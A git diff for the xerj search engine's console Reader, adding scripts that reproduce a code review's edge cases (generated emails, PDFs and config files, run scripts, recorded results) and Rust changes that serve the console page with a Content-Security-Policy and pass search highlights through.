a/docs/usecases/console-reader/review-repro/mkrepro.py b/docs/usecases/console-reader/review-repro/mkrepro.pynew file mode 100755index 000000000..1094d7ab5--- /dev/null+++ b/docs/usecases/console-reader/review-repro/mkrepro.py@@ -0,0 +1,81 @@+#!/usr/bin/env python3+"""The folder behind review-repro.json: the edge cases the correctness review of+PR #945 found in the console Reader. Each file exists to make one defect+visible on a REAL node:++ inbox/06-bigpdf.eml a 300-page PDF, then a trailing text attachment+ (the attachment join read 200 records and stopped)+ inbox/04-samename.eml two attachments both named scan.pdf+ (the list was keyed by file name)+ inbox/02-nomid.eml no Message-ID header (the join key was the message id)+ inbox/03-dup.eml,+ archive/03-dup.eml two files, one Message-ID (each listed the other's)+ inbox/01..08 ordinary subjects: autoindex types email_subject as+ `keyword` here, so `match` needs the whole subject+ cfg/Makefile, *.ini line files: their text lands in `text`, not `body`+"""+import os, shutil, sys+from email.message import EmailMessage+from email.utils import format_datetime+from datetime import datetime, timezone, timedelta++out = sys.argv[1]+shutil.rmtree(out, ignore_errors=True)+os.makedirs(f"{out}/inbox"); os.makedirs(f"{out}/archive"); os.makedirs(f"{out}/cfg")+t0 = datetime(2026, 8, 3, 9, 0, tzinfo=timezone.utc)++def pdf(pages):+ """Minimal text PDF, one line of text per page."""+ objs = []+ def add(b): objs.append(b); return len(objs)+ font = add(b"<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>")+ pages_id = len(objs) + 1 + 2 * len(pages) # reserve: after all page+content objs+ kids = []+ for text in pages:+ stream = f"BT /F1 12 Tf 72 720 Td ({text}) Tj ET".encode()+ c = add(b"<< /Length %d >>\nstream\n" % len(stream) + stream + b"\nendstream")+ p = add(f"<< /Type /Page /Parent {pages_id} 0 R /MediaBox [0 0 612 792] /Contents {c} 0 R /Resources << /Font << /F1 {font} 0 R >> >> >>".encode())+ kids.append(p)+ pid = add(f"<< /Type /Pages /Kids [{' '.join(f'{k} 0 R' for k in kids)}] /Count {len(kids)} >>".encode())+ assert pid == pages_id+ cat = add(f"<< /Type /Catalog /Pages {pid} 0 R >>".encode())+ body = b"%PDF-1.4\n"; offs = []+ for i, o in enumerate(objs, 1):+ offs.append(len(body)); body += b"%d 0 obj\n" % i + o + b"\nendobj\n"+ xref = len(body)+ body += b"xref\n0 %d\n0000000000 65535 f \n" % (len(objs) + 1)+ for o in offs: body += b"%010d 00000 n \n" % o+ body += f"trailer\n<< /Size {len(objs)+1} /Root {cat} 0 R >>\nstartxref\n{xref}\n%%EOF\n".encode()+ return body++def mail(path, subj, body, mid="auto", atts=(), n=0):+ m = EmailMessage()+ m["Subject"] = subj; m["From"] = "Dana Reyes <[email protected]>"; m["To"] = "[email protected]"+ m["Date"] = format_datetime(t0 + timedelta(days=n))+ if mid == "auto": m["Message-ID"] = f"<{os.path.basename(path)}@acme.example>"+ elif mid: m["Message-ID"] = mid+ m.set_content(body)+ for name, data in atts:+ if name.endswith(".pdf"): m.add_attachment(data, maintype="application", subtype="pdf", filename=name)+ else: m.add_attachment(data.decode(), subtype="plain", filename=name)+ with open(path, "wb") as f: f.write(bytes(m))++mail(f"{out}/inbox/01-plain.eml", "Lunch on Friday?", "Tacos. Noon. No agenda.", n=1)+mail(f"{out}/inbox/02-nomid.eml", "No message id here", "This mail has no Message-ID header.", mid=None, n=2,+ atts=[("nomid-notes.txt", b"nomidnotes plain text attachment"), ("nomid.pdf", pdf(["nomidpdf page one", "nomidpdf page two"]))])+mail(f"{out}/inbox/03-dup.eml", "Duplicate id (inbox copy)", "inbox copy body", mid="<[email protected]>", n=3,+ atts=[("inbox-only.txt", b"inboxonly attachment text")])+mail(f"{out}/archive/03-dup.eml", "Duplicate id (archive copy)", "archive copy body", mid="<[email protected]>", n=3,+ atts=[("archive-only.txt", b"archiveonly attachment text")])+mail(f"{out}/inbox/04-samename.eml", "Two scans with the same file name", "Both attachments are called scan.pdf.", n=4,+ atts=[("scan.pdf", pdf(["firstscan alpha"])), ("scan.pdf", pdf(["secondscan beta"]))])+mail(f"{out}/inbox/05-brief.eml", "Baseline term sheet", "The baseline term sheet is attached.", n=5,+ atts=[("brief.pdf", pdf([f"brief page {i} valuation cap" for i in range(1, 15)]))])+mail(f"{out}/inbox/06-bigpdf.eml", "Big PDF then a trailing text file", "See the two attachments.", n=6,+ atts=[("aaa-big.pdf", pdf([f"bigpdf page {i} filler words here" for i in range(1, 301)])), ("zzz-last.txt", b"zzzlast trailing attachment text")])+mail(f"{out}/inbox/07-verylong.eml", "verylongsubjectword in a subject only", "Nothing about that word in the body.", n=7)+mail(f"{out}/inbox/08-retention.eml", "Security review of the retention policy", "The retention policy needs a clause on backup deletion.", n=8)+open(f"{out}/cfg/Makefile", "w").write("all: build test\n\nbuild:\n\tcargo build --release\n\ntest:\n\tcargo test\n\nverylongsubjectword:\n\techo makefiletargetword\n\nclean:\n\trm -rf out\n\ninstall:\n\tcp out/bin /usr/local/bin\n")+open(f"{out}/cfg/settings.ini", "w").write("[Unit]\nDescription=demo inifileword\nAfter=network.target\n\n[Service]\nExecStart=/bin/true\nRestart=always\nUser=verylongsubjectword\n\n[Install]\nWantedBy=multi-user.target\n")+open(f"{out}/cfg/.env", "w").write("DATABASE_URL=postgres://localhost/envfileword\nAPI_TOKEN=verylongsubjectword\n")+print("repro corpus at", out, "files:", sum(len(f) for _, _, f in os.walk(out)))diff --git a/docs/usecases/console-reader/review-repro/review-repro.json b/docs/usecases/console-reader/review-repro/review-repro.jsonnew file mode 100644index 000000000..87fe3e968--- /dev/null+++ b/docs/usecases/console-reader/review-repro/review-repro.json@@ -0,0 +1,282 @@+{+ "recorded": "2026-09-19",+ "mapping": {+ "body": "text",+ "text": "semantic_text",+ "email_subject": "keyword",+ "title": "keyword",+ "attachment_name": "keyword"+ },+ "truth": {+ "archive/03-dup.eml": {+ "records": 3,+ "attachments": {+ "archive-only.txt": 1+ },+ "messageId": "[email protected]"+ },+ "inbox/01-plain.eml": {+ "records": 2,+ "attachments": {},+ "messageId": "[email protected]"+ },+ "inbox/02-nomid.eml": {+ "records": 5,+ "attachments": {+ "nomid.pdf": 2,+ "nomid-notes.txt": 1+ },+ "messageId": null+ },+ "inbox/03-dup.eml": {+ "records": 3,+ "attachments": {+ "inbox-only.txt": 1+ },+ "messageId": "[email protected]"+ },+ "inbox/04-samename.eml": {+ "records": 4,+ "attachments": {+ "scan.pdf": 2+ },+ "messageId": "[email protected]"+ },+ "inbox/05-brief.eml": {+ "records": 16,+ "attachments": {+ "brief.pdf": 14+ },+ "messageId": "[email protected]"+ },+ "inbox/06-bigpdf.eml": {+ "records": 303,+ "attachments": {+ "aaa-big.pdf": 300,+ "zzz-last.txt": 1+ },+ "messageId": "[email protected]"+ },+ "inbox/07-verylong.eml": {+ "records": 2,+ "attachments": {},+ "messageId": "[email protected]"+ },+ "inbox/08-retention.eml": {+ "records": 2,+ "attachments": {},+ "messageId": "[email protected]"+ }+ },+ "before": {+ "attachmentJoin_size200_byMessageId": {+ "inbox/06-bigpdf.eml": {+ "matching": 301,+ "returned": 200,+ "listedByName": [+ "aaa-big.pdf"+ ]+ },+ "inbox/04-samename.eml": {+ "matching": 2,+ "returned": 2,+ "listedByName": [+ "scan.pdf"+ ]+ },+ "inbox/03-dup.eml (shares its id with archive/03-dup.eml)": {+ "matching": 2,+ "returned": 2,+ "listedByName": [+ "archive-only.txt",+ "inbox-only.txt"+ ]+ }+ },+ "match_on_keyword_subject": {+ "match email_subject:Lunch": 0,+ "match email_subject:\"Lunch on Friday?\" (the whole value)": 1,+ "match_phrase email_subject:\"Lunch on\"": 0+ },+ "readerMatch_singleTextField": {+ "Duplicate": 0,+ "Lunch": 0,+ "nomid": 0,+ "makefiletargetword": 0+ },+ "catalogSample": {+ "field": "text",+ "text": "makefiletargetword",+ "catalogBodyVerbatim": 1+ },+ "guestCard_emails_by_message_id": 8+ },+ "engine": {+ "searchFields": [+ "body",+ "text",+ "email_subject",+ "title",+ "attachment_name"+ ],+ "wildcard_on_keyword_subject": {+ "*lunch*": 1,+ "*lunch on*": 1,+ "lunch*": 1,+ "prefix + case_insensitive (not used: returns)": 0+ },+ "readerBodies": {+ "match Duplicate": 2,+ "match Lunch": 1,+ "match nomid": 4,+ "phrase Lunch on": 1,+ "prefix dup": 4,+ "match makefiletargetword": 1+ }+ },+ "after": {+ "readerAttachmentList": {+ "archive/03-dup.eml": {+ "head": "ATTACHMENTS · 1",+ "attachments": [+ "archive-only.txt"+ ],+ "saysIncomplete": false+ },+ "inbox/01-plain.eml": {+ "head": "no attachment block",+ "attachments": [],+ "saysIncomplete": false+ },+ "inbox/02-nomid.eml": {+ "head": "ATTACHMENTS · 2",+ "attachments": [+ "nomid-notes.txt",+ "nomid.pdf"+ ],+ "saysIncomplete": false+ },+ "inbox/03-dup.eml": {+ "head": "ATTACHMENTS · 1",+ "attachments": [+ "inbox-only.txt"+ ],+ "saysIncomplete": false+ },+ "inbox/04-samename.eml": {+ "head": "ATTACHMENTS · 2",+ "attachments": [+ "scan.pdf",+ "scan.pdf"+ ],+ "saysIncomplete": false+ },+ "inbox/05-brief.eml": {+ "head": "ATTACHMENTS · 1",+ "attachments": [+ "brief.pdf"+ ],+ "saysIncomplete": false+ },+ "inbox/06-bigpdf.eml": {+ "head": "ATTACHMENTS · 2",+ "attachments": [+ "aaa-big.pdf",+ "zzz-last.txt"+ ],+ "saysIncomplete": false+ },+ "inbox/07-verylong.eml": {+ "head": "no attachment block",+ "attachments": [],+ "saysIncomplete": false+ },+ "inbox/08-retention.eml": {+ "head": "no attachment block",+ "attachments": [],+ "saysIncomplete": false+ }+ },+ "secondSameNamedAttachmentOpens": {+ "text": "secondscan beta",+ "fromEmail": "Two scans with the same file name"+ },+ "attachmentOfEmailWithoutMessageId_fromEmail": "No message id here",+ "readerSearch": {+ "match Duplicate": {+ "head": "2 RESULTS · CLICK TO OPEN",+ "first": [+ "Duplicate id (inbox copy)",+ "Duplicate id (archive copy)"+ ],+ "message": null+ },+ "match Lunch": {+ "head": "1 RESULT · CLICK TO OPEN",+ "first": [+ "Lunch on Friday?"+ ],+ "message": null+ },+ "match nomid": {+ "head": "4 RESULTS · CLICK TO OPEN",+ "first": [+ "nomid-notes.txt",+ "inbox/02-nomid.eml"+ ],+ "message": null+ },+ "phrase Lunch on": {+ "head": "1 RESULT · CLICK TO OPEN",+ "first": [+ "Lunch on Friday?"+ ],+ "message": null+ },+ "prefix dup": {+ "head": "4 RESULTS · CLICK TO OPEN",+ "first": [+ "Duplicate id (inbox copy)",+ "Duplicate id (archive copy)"+ ],+ "message": null+ },+ "match makefiletargetword": {+ "head": "1 RESULT · CLICK TO OPEN",+ "first": [+ "cfg/Makefile"+ ],+ "message": null+ },+ "term zebrafish": {+ "head": "NOT SEARCHED",+ "first": [],+ "message": "TERM needs field=value — for example ax_format=eml. Nothing was searched."+ },+ "range hello": {+ "head": "NOT SEARCHED",+ "first": [],+ "message": "RANGE needs field>=value (or >, <=, <) — for example page>=2. Nothing was searched."+ },+ "term ax_format=eml": {+ "head": "340 RESULTS · SHOWING 25 · CLICK TO OPEN",+ "first": [+ "inbox/07-verylong.eml",+ "verylongsubjectword in a subject only"+ ],+ "message": null+ }+ },+ "showMore": {+ "cardsBefore": 25,+ "cardsAfter": 50,+ "head": "340 RESULTS · SHOWING 50 · CLICK TO OPEN"+ },+ "guestCard": "DATASETax-docs344 recordsemails 9attachment records 322formats eml 340, txt-lines 4OPEN IN READER",+ "inert": {+ "pwned": 0,+ "csp": 0,+ "consoleApiRequests": 0+ }+ }+}diff --git a/docs/usecases/console-reader/review-repro/run-mbox.sh b/docs/usecases/console-reader/review-repro/run-mbox.shnew file mode 100755index 000000000..9e1d3cf7f--- /dev/null+++ b/docs/usecases/console-reader/review-repro/run-mbox.sh@@ -0,0 +1,29 @@+#!/usr/bin/env bash+# The Reader over a mailbox file, against a REAL xerj node (auth on).+#+# ./run-mbox.sh <path-to-xerj-binary> [port] # default port 9570 (+1, +2)+#+# The binary must carry autoindex's mbox extractor (PR #949); built from this+# branch alone it indexes no mailbox messages and mbox-repro.mjs stops.+# Output: mbox-repro.json. Needs Node >= 22, Chrome (or CHROME_BIN), python3.+# Everything is written under $WORK; the node is stopped at the end. Refuses a+# port that is already in use.+set -euo pipefail+XERJ="${1:?usage: run-mbox.sh <xerj binary> [port]}"+PORT="${2:-9570}"+HERE="$(cd "$(dirname "$0")" && pwd)"+WORK="${WORK:-$(mktemp -d)}"+mkdir -p "$WORK"+for p in "$PORT" "$((PORT + 1))" "$((PORT + 2))"; do+ if (exec 3<>"/dev/tcp/127.0.0.1/$p") 2>/dev/null; then+ echo "run-mbox.sh: port $p is already in use — refusing to run against a node this script did not start" >&2+ exit 2+ fi+done+[ ! -e "$WORK/data/server.pid" ] || { echo "run-mbox.sh: $WORK/data/server.pid exists — use a fresh WORK dir" >&2; exit 2; }+python3 "$HERE/mkmbox.py" "$WORK/mailbox"+trap 'kill "$(cat "$WORK/data/server.pid" 2>/dev/null)" 2>/dev/null || true' EXIT+"$XERJ" brain "$WORK/mailbox" --brain mboxrepro --url "http://localhost:$PORT" \+ --data-dir "$WORK/data" --no-open --disable-feedback 2>&1 | tee "$WORK/brain.log" || true+[ -s "$WORK/data/server.pid" ] && [ -s "$WORK/data/admin.key" ] || { echo "run-mbox.sh: xerj brain did not boot a node under $WORK/data" >&2; exit 1; }+BRAIN=mboxrepro node "$HERE/mbox-repro.mjs" "http://localhost:$PORT" "$(cat "$WORK/data/admin.key")" "$WORK/mailbox.truth.json" | tee "$WORK/mbox-repro.json"diff --git a/docs/usecases/console-reader/review-repro/run.sh b/docs/usecases/console-reader/review-repro/run.shnew file mode 100755index 000000000..c2eddf0ac--- /dev/null+++ b/docs/usecases/console-reader/review-repro/run.sh@@ -0,0 +1,30 @@+#!/usr/bin/env bash+# Replay the correctness review of PR #945 against a REAL xerj node (auth on).+#+# ./run.sh <path-to-xerj-binary> [port] # default port 9560 (+1, +2)+#+# Builds the edge-case folder (mkrepro.py), runs `xerj brain` on it — which+# boots the node — then live-repro.mjs: what the engine holds, what the first+# version of the Reader asked for and got, and what the bundled console shows in+# headless Chrome now. Output: review-repro.json. Needs Node >= 22, Chrome (or+# CHROME_BIN), python3. Everything is written under $WORK; the node is stopped+# at the end. Like ../run.sh it refuses a port that is already in use.+set -euo pipefail+XERJ="${1:?usage: run.sh <xerj binary> [port]}"+PORT="${2:-9560}"+HERE="$(cd "$(dirname "$0")" && pwd)"+WORK="${WORK:-$(mktemp -d)}"+mkdir -p "$WORK"+for p in "$PORT" "$((PORT + 1))" "$((PORT + 2))"; do+ if (exec 3<>"/dev/tcp/127.0.0.1/$p") 2>/dev/null; then+ echo "run.sh: port $p is already in use — refusing to run against a node this script did not start" >&2+ exit 2+ fi+done+[ ! -e "$WORK/data/server.pid" ] || { echo "run.sh: $WORK/data/server.pid exists — use a fresh WORK dir" >&2; exit 2; }+python3 "$HERE/mkrepro.py" "$WORK/repro"+trap 'kill "$(cat "$WORK/data/server.pid" 2>/dev/null)" 2>/dev/null || true' EXIT+"$XERJ" brain "$WORK/repro" --brain repro --url "http://localhost:$PORT" \+ --data-dir "$WORK/data" --no-open --disable-feedback 2>&1 | tee "$WORK/brain.log" || true+[ -s "$WORK/data/server.pid" ] && [ -s "$WORK/data/admin.key" ] || { echo "run.sh: xerj brain did not boot a node under $WORK/data" >&2; exit 1; }+BRAIN=repro node "$HERE/live-repro.mjs" "http://localhost:$PORT" "$(cat "$WORK/data/admin.key")" | tee "$WORK/review-repro.json"diff --git a/docs/usecases/console-reader/run.sh b/docs/usecases/console-reader/run.shnew file mode 100755index 000000000..ea2727e9b--- /dev/null+++ b/docs/usecases/console-reader/run.sh@@ -0,0 +1,58 @@+#!/usr/bin/env bash+# Live end-to-end run of the console's corpus home, reader and guest mode+# against a REAL xerj node with auth ON (the default).+#+# ./run.sh <path-to-xerj-binary> [port] # default port 9550 (+1, +2)+#+# It builds a small folder of email (two with PDF attachments, one hostile in+# every header an outsider controls) plus PDFs and notes, runs+# `xerj brain <folder>` — which boots the node, indexes, detects links and+# prints the one-time passkey setup link — then drives headless Chrome:+# A. operator: enrol a passkey (virtual authenticator) → Corpus → Reader → Discover+# B. guest: mint a read-only key scoped to the email index + the brain,+# put {api_key,index,brain,expires_at,label} in sessionStorage,+# open the console.+# Output: live-e2e.json (what it saw) and PNG screenshots in the work dir.+#+# Needs: Node >= 22, Chrome (or CHROME_BIN), python3. Everything it writes goes+# under $WORK; the node is stopped at the end.+set -euo pipefail+XERJ="${1:?usage: run.sh <xerj binary> [port]}"+PORT="${2:-9550}"+HERE="$(cd "$(dirname "$0")" && pwd)"+REPO="$(cd "$HERE/../../.." && pwd)"+WORK="${WORK:-$(mktemp -d)}"+mkdir -p "$WORK/shots"+echo "work dir: $WORK"++# This run must OWN its node. `xerj brain` attaches to whatever already+# listens on --url, so on a taken port it would index this corpus — hostile+# email included — into somebody else's node (PR #945 review: it did, then+# died on a missing admin.key). Refuse before anything is written.+for p in "$PORT" "$((PORT + 1))" "$((PORT + 2))"; do+ if (exec 3<>"/dev/tcp/127.0.0.1/$p") 2>/dev/null; then+ echo "run.sh: port $p is already in use — refusing to run against a node this script did not start. Pass a free port: run.sh <xerj> <port>" >&2+ exit 2+ fi+done+if [ -e "$WORK/data/server.pid" ]; then+ echo "run.sh: $WORK/data/server.pid exists from an earlier run — use a fresh WORK dir" >&2+ exit 2+fi++python3 "$HERE/mkcorpus.py" "$WORK/casefile" "$REPO/landing/resources"++# `xerj brain` boots a node on $PORT (REST $PORT+1, gRPC $PORT+2) because+# nothing listens there, with auth ON, and keeps its data under --data-dir.+trap 'kill "$(cat "$WORK/data/server.pid" 2>/dev/null)" 2>/dev/null || true' EXIT+"$XERJ" brain "$WORK/casefile" --brain casefile --url "http://localhost:$PORT" \+ --data-dir "$WORK/data" --no-open --disable-feedback 2>&1 | tee "$WORK/brain.log" || true+if [ ! -s "$WORK/data/server.pid" ] || [ ! -s "$WORK/data/admin.key" ]; then+ echo "run.sh: xerj brain did not boot a node under $WORK/data (no server.pid / admin.key) — stopping" >&2+ exit 1+fi++SETUP="$(grep -o "http://[^ ]*/_xerj-console/setup#token=[^ ]*" "$WORK/brain.log" | head -1 || true)"+ADMIN_KEY="$(cat "$WORK/data/admin.key")"+BRAIN=casefile node "$HERE/live-e2e.mjs" "http://localhost:$PORT" "$ADMIN_KEY" "${SETUP:--}" "$WORK/shots" | tee "$WORK/live-e2e.json"+echo "screenshots: $WORK/shots"diff --git a/docs/usecases/console-reader/shots/live-guest-attachment.png b/docs/usecases/console-reader/shots/live-guest-attachment.pngnew file mode 100644index 000000000..5caae6509Binary files /dev/null and b/docs/usecases/console-reader/shots/live-guest-attachment.png differdiff --git a/docs/usecases/console-reader/shots/live-guest-reader.png b/docs/usecases/console-reader/shots/live-guest-reader.pngnew file mode 100644index 000000000..d591c32e8Binary files /dev/null and b/docs/usecases/console-reader/shots/live-guest-reader.png differdiff --git a/docs/usecases/console-reader/shots/live-operator-corpus.png b/docs/usecases/console-reader/shots/live-operator-corpus.pngnew file mode 100644index 000000000..4c89a7a56Binary files /dev/null and b/docs/usecases/console-reader/shots/live-operator-corpus.png differdiff --git a/docs/usecases/console-reader/shots/live-operator-discover.png b/docs/usecases/console-reader/shots/live-operator-discover.pngnew file mode 100644index 000000000..780dd6c85Binary files /dev/null and b/docs/usecases/console-reader/shots/live-operator-discover.png differdiff --git a/engine/crates/xerj-console-api/src/data_sources.rs b/engine/crates/xerj-console-api/src/data_sources.rsindex 62c4009e3..94269b443 100644--- a/engine/crates/xerj-console-api/src/data_sources.rs+++ b/engine/crates/xerj-console-api/src/data_sources.rs@@ -197,6 +197,12 @@ pub async fn list_fields("type": f.field_type.to_string(),"indexed": f.options.indexed,"doc_values": f.options.doc_values,+ // A `semantic_text` field is a text field with an embedding+ // config; `type` alone reads "text". The console derives+ // which field `semantic` / `hybrid` run against from this+ // flag: it holds a session, not an engine API key, so on an+ // auth-enabled engine it cannot read `GET /{index}/_mapping`.+ "semantic": f.embedding.is_some(),})}).collect();@@ -270,12 +276,22 @@ pub async fn search(.hits.iter().map(|h| {- json!({+ let mut hit = json!({"_index": index,"_id": h.id,"_score": h.score,"_source": h.source,- })+ });+ // Pass the engine's highlight fragments through when the request+ // asked for them, so the Reader can mark matches for a signed-in+ // operator the same way it does for a guest on the ES-compat+ // route. Fragments are raw document text with the caller's+ // pre/post tags spliced in — the SPA never parses them as markup+ // (`xerj-ux/src/ux/safe-dom.js#highlightChildren`).+ if let Some(hl) = &h.highlight {+ hit["highlight"] = json!(hl);+ }+ hit}).collect();let wire = json!({diff --git a/engine/crates/xerj-console-api/src/seed.rs b/engine/crates/xerj-console-api/src/seed.rsindex 1d91ac3b5..dc29544c2 100644--- a/engine/crates/xerj-console-api/src/seed.rs+++ b/engine/crates/xerj-console-api/src/seed.rs@@ -67,7 +67,11 @@ use crate::time::now_iso;/// Shipped revision of the default-dashboard skeletons. Bump this **only**/// when a change to the seeded skeletons should migrate onto installs that/// have not forked them. See the module docs for the migration contract.-pub const SEED_REVISION: u64 = 1;+///+/// * `2` — `search-discover` lost its `plan` / `qps` / `latency` panels (no+/// live source) and its request preview went full width. `corpus` and+/// `reader` are new ids and needed no bump: absent ids are always created.+pub const SEED_REVISION: u64 = 2;/// Id of the bookkeeping row that stores [`SEED_REVISION`]. It lives in the/// same index but is not a dashboard: it fails to deserialize into@@ -133,7 +137,7 @@ fn pd(/// with [`seed_specs`], so a reader had to guess which prose was current. Prose/// elsewhere links here instead of repeating the figure, and/// [`tests::seeds_every_registry_dashboard`] pins it to the actual list.-pub const BUILTIN_DASHBOARD_COUNT: usize = 14;+pub const BUILTIN_DASHBOARD_COUNT: usize = 16;/// The built-in dashboards ([`BUILTIN_DASHBOARD_COUNT`] of them), in registry/// order. Titles are the panel `eyebrow` strings from the `.js` sources;@@ -475,19 +479,20 @@ fn seed_specs() -> Vec<DashboardSpec> {"QUERY · TYPE · INDEX · FILTERS",12,),+ p("hits", "hits", "RESULTS", 8),+ p("facets", "facet", "FACETS · CLICK TO FILTER", 4),+ p("histogram", "bar", "DATE_HISTOGRAM", 8),p(- "hits",- "hits",- "RESULTS · CLICK A COLUMN TO SORT · CLICK INDEX TO FILTER",- 8,+ "searchMetrics",+ "metric",+ "FIELDS THIS QUERY USES · FROM THE MAPPING",+ 4,),- p("facets", "facet", "FACETS · CLICK TO FILTER", 4),- p("histogram", "bar", "DATE_HISTOGRAM · INTERVAL=1H", 8),- p("searchMetrics", "metric", "INDEX · LIVE", 4),- p("dsl", "markdown", "REQUEST · POST /v1/indices/*/search", 6),- p("plan", "plan", "QUERY PLAN · FROM EXPLAIN-PLAN ENDPOINT", 6),- p("qps", "line", "QUERIES/s OVER TIME", 6),- p("latency", "line", "p95 LATENCY OVER TIME", 6),+ // The request that was sent, built by the same function that+ // built it. The `plan` / `qps` / `latency` panels that used to+ // follow had no live source (a fabricated plan tree and two+ // empty series) and were removed from search-discover.js.+ p("dsl", "markdown", "REQUEST", 12),p("citations","citations",@@ -603,6 +608,36 @@ fn seed_specs() -> Vec<DashboardSpec> {),],},+ // ── Corpus home + Reader (the `xerj brain <folder>` product path) ────+ // Corpus: one card per autoindex-catalog dataset; the landing page.+ DashboardSpec {+ registry_id: "corpus",+ name: "Corpus",+ section: Some("corpus"),+ group: None,+ panels: vec![p(+ "datasets",+ "corpus",+ "WHAT IS INDEXED · ONE CARD PER DATASET",+ 12,+ )],+ },+ // Reader: any record from Discover / a graph click, rendered by shape,+ // with the knowledge graph around it.+ DashboardSpec {+ registry_id: "reader",+ name: "Reader",+ section: Some("reader"),+ group: None,+ // One panel: reader.js renders a single mount point that+ // ux/reader-view.js fills (search, list, record, linked records).+ panels: vec![p(+ "reader",+ "reader",+ "SEARCH · RECORD · LINKED RECORDS",+ 12,+ )],+ },]}diff --git a/engine/crates/xerj-console-api/src/spa.rs b/engine/crates/xerj-console-api/src/spa.rsindex dd218579f..a81b129a9 100644--- a/engine/crates/xerj-console-api/src/spa.rs+++ b/engine/crates/xerj-console-api/src/spa.rs@@ -19,6 +19,22 @@//! the index.html gets `no-cache` so a deploy of a new binary surfaces//! the new UI on next page load without ctrl-F5.//!+//! ## Content-Security-Policy on the console page+//!+//! `index.html` is the page that shows other people's documents (the Reader)+//! and, in guest mode, holds a share's API key in `sessionStorage`. It is+//! served with [`CONSOLE_CSP`]: scripts from this origin only — no inline+//! script, no `eval` — and no connection to any other origin. The SPA builds+//! document-derived DOM without an HTML parser (`xerj-ux/src/ux/safe-dom.js`);+//! the policy is the second wall behind that one, so a missed escape in some+//! other view cannot become script execution or send a key off-origin.+//! `xerj-ux/test/browser/` loads the console under this exact string (it is+//! read out of this file) and fails on any violation report, so the policy+//! and the SPA cannot drift apart silently.+//!+//! `login.html` / `setup.html` carry an inline module script and show no+//! document data, so they are served without it.+//!//! ## The share-link guest page//!//! `share/` is the one part of the bundle meant for someone who is **not** the@@ -47,6 +63,18 @@ use axum::{include!(concat!(env!("OUT_DIR"), "/xerj_console_assets.rs"));+/// The policy `index.html` is served with. One line, no line breaks: the+/// browser tests parse it out of this file verbatim.+///+/// * `script-src 'self'` — no inline script, no `eval`, nothing off-origin.+/// * `connect-src 'self'` — `fetch` reaches this engine and nothing else.+/// * `style-src … 'unsafe-inline'` — the shell sets `style=""` attributes on+/// the markup it builds; styles cannot run script or read storage.+/// * fonts come from Google Fonts, as `index.html` has always linked them.+/// * `img-src data: blob:` — the inline favicon and the PNG chart export.+/// * `frame-ancestors 'none'` — the console cannot be framed (clickjacking).+pub const CONSOLE_CSP: &str = "default-src 'none'; script-src 'self'; connect-src 'self'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data: blob:; base-uri 'none'; form-action 'none'; frame-ancestors 'none'; object-src 'none'";+/// Find an asset by its url path. Linear scan is fine for ~50 files;/// the slice is sorted so we could binary-search if the bundle grows.fn find_asset(path: &str) -> Option<&'static (&'static str, &'static [u8], &'static str)> {@@ -145,19 +173,39 @@ fn serve_asset(asset: &(&'static str, &'static [u8], &'static str), no_cache: boif is_guest_asset(asset.0) {return serve_guest_asset(asset);}- let cache = if no_cache {+ // The console page is always revalidated — also when it is requested by+ // name (`/_xerj-console/index.html`) rather than as the directory index —+ // so a new binary's UI and policy arrive together.+ let is_console_page = asset.0 == "index.html";+ let cache = if no_cache || is_console_page {"no-cache"} else {"public, max-age=300"};- (+ let mut resp = ([(header::CONTENT_TYPE, asset.2),(header::CACHE_CONTROL, cache),+ // Every asset declares its real type (build.rs); never let a+ // browser second-guess it.+ (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),],asset.1,)- .into_response()+ .into_response();+ if is_console_page {+ let h = resp.headers_mut();+ h.insert(+ header::CONTENT_SECURITY_POLICY,+ header::HeaderValue::from_static(CONSOLE_CSP),+ );+ // A guest's tab holds a key; never send this page's URL anywhere.+ h.insert(+ header::REFERRER_POLICY,+ header::HeaderValue::from_static("no-referrer"),+ );+ }+ resp}/// The guest page and its assets: never stored, never framed, never sniffed,@@ -304,15 +352,24 @@ mod tests {}}+ /// The share work (#947) asserted the console page carried NO+ /// Content-Security-Policy, which was true when only `share/` had one.+ /// The Reader (#945) gives the console page its own [`CONSOLE_CSP`] — it+ /// renders other people's documents and, in guest mode, holds a share key+ /// in `sessionStorage`. So the console is deliberately no longer served+ /// "exactly as before"; what must still hold is that it gets the CONSOLE+ /// policy and not the guest one, and that no console asset is mistaken+ /// for a guest asset.#[test]- fn the_console_itself_is_served_exactly_as_before() {+ fn the_console_page_carries_the_console_policy_not_the_guest_one() {if !bundled() {return;}let resp = serve("index.html", true);assert_eq!(resp.status(), StatusCode::OK);assert_eq!(header(&resp, "cache-control"), "no-cache");- assert!(resp.headers().get("content-security-policy").is_none());+ assert_eq!(header(&resp, "content-security-policy"), CONSOLE_CSP);+ assert_ne!(header(&resp, "content-security-policy"), GUEST_CSP);assert!(!is_guest_asset("index.html"));assert!(!is_guest_asset("shared.js"));assert!(!is_guest_asset("share"));diff --git a/engine/crates/xerj-console-api/tests/dashboards_seed_and_schema.rs b/engine/crates/xerj-console-api/tests/dashboards_seed_and_schema.rsindex 9e5b9271f..6a07395f5 100644--- a/engine/crates/xerj-console-api/tests/dashboards_seed_and_schema.rs+++ b/engine/crates/xerj-console-api/tests/dashboards_seed_and_schema.rs@@ -1,5 +1,5 @@-//! Dashboards: rich panel schema round-trip, first-launch seeding of the 14-//! built-ins as editable backend data, managed-default edit/delete rules, and+//! Dashboards: rich panel schema round-trip, first-launch seeding of the+//! built-ins (`seed::BUILTIN_DASHBOARD_COUNT` of them) as editable backend data, managed-default edit/delete rules, and//! the bulk endpoint.//!//! These exercise the backend half of the "Kibana-quality dashboards"@@ -143,7 +143,7 @@ async fn list_dash(app: &TestApp) -> Value {// ─────────────────────────────────────────────────────────────────────────────#[tokio::test]-async fn seeds_fourteen_editable_defaults_on_first_boot() {+async fn seeds_every_builtin_as_an_editable_default_on_first_boot() {let app = boot().await;let body = list_dash(&app).await;let arr = body["data"]["dashboards"].as_array().unwrap();@@ -152,7 +152,11 @@ async fn seeds_fourteen_editable_defaults_on_first_boot() {.iter().filter(|d| d["id"].as_str().unwrap_or("").starts_with("default-")).collect();- assert_eq!(defaults.len(), 14, "must seed exactly 14 defaults: {body}");+ assert_eq!(+ defaults.len(),+ xerj_console_api::seed::BUILTIN_DASHBOARD_COUNT,+ "must seed exactly one default per built-in: {body}"+ );// Every registry dashboard is present by its stable id.for id in [@@ -165,7 +169,9 @@ async fn seeds_fourteen_editable_defaults_on_first_boot() 